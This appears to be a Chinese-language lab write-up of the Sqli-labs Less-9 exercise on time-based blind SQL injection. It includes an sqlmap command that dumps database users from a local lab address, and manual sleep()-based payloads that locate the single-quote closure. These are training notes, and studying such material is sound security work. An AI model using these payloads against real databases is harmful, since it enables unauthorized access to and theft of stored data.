Sqli-labs-Less-9
前言:
SQL注入的三个条件:
①参数可控;(从参数输入就知道参数可控)
②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)
③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)
①参数可控;(从参数输入就知道参数可控)
②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)
③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)
利用 order by 来测列数
测显位:mysql用1,2,3,4
Mysql获取相关数据:
一、数据库版本-看是否认符合information_schema查询-version()
二、数据库用户-看是否符合root型注入攻击-user()
三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
四、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
SQL注入-时间型盲注(Time-based blind)
sqlmap 会替换或者添加相关的 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的、用于使后端 DBMS(Database Management System,数据库管理系统)延迟几秒响应的查询。针对每一个注入检测的 HTTP 响应,通过对 HTTP 响应时间与原始请求之间进行比较,从而逐个字符地推导出注入语句的输出。正如基于布尔型盲注的技术一样,二分算法也会被应用。
#自动化注入-SQLmap工具注入
SQLmap用户手册:文档介绍 - sqlmap 用户手册
python sqlmap.py -u http://192.168.0.7:802/sqli-labs/Less-9/?id=1 --users
爆DBMS所有用户为:;
成功利用漏洞!!!
#手工注入
1.根据提示id传参/?id=1,显示You are in...........
?id=0 显示You are in...........
?id=1231234 也显示You are in...........
?id=1' ?id=1" ?id=1') ?id=1") 仍显示You are in...........
初步判断,上传id值后无论id值为多少,最终回显的都是You are in...........
如果是这样,那么 联合注入/报错注入/布尔型注入 这些注入方式在这题行不通
尝试 时间注入
当?id=1 and if(1=1,sleep(5),1) --+ 时,反应正常,说明存在闭合
当?id=1' and if(1=1,sleep(5),1) --+ 时,反应变慢,说明 闭合 为 单引号 '
时间注入他人相关文章参考:Web安全原理剖析(五)——时间注入攻击-CSDN博客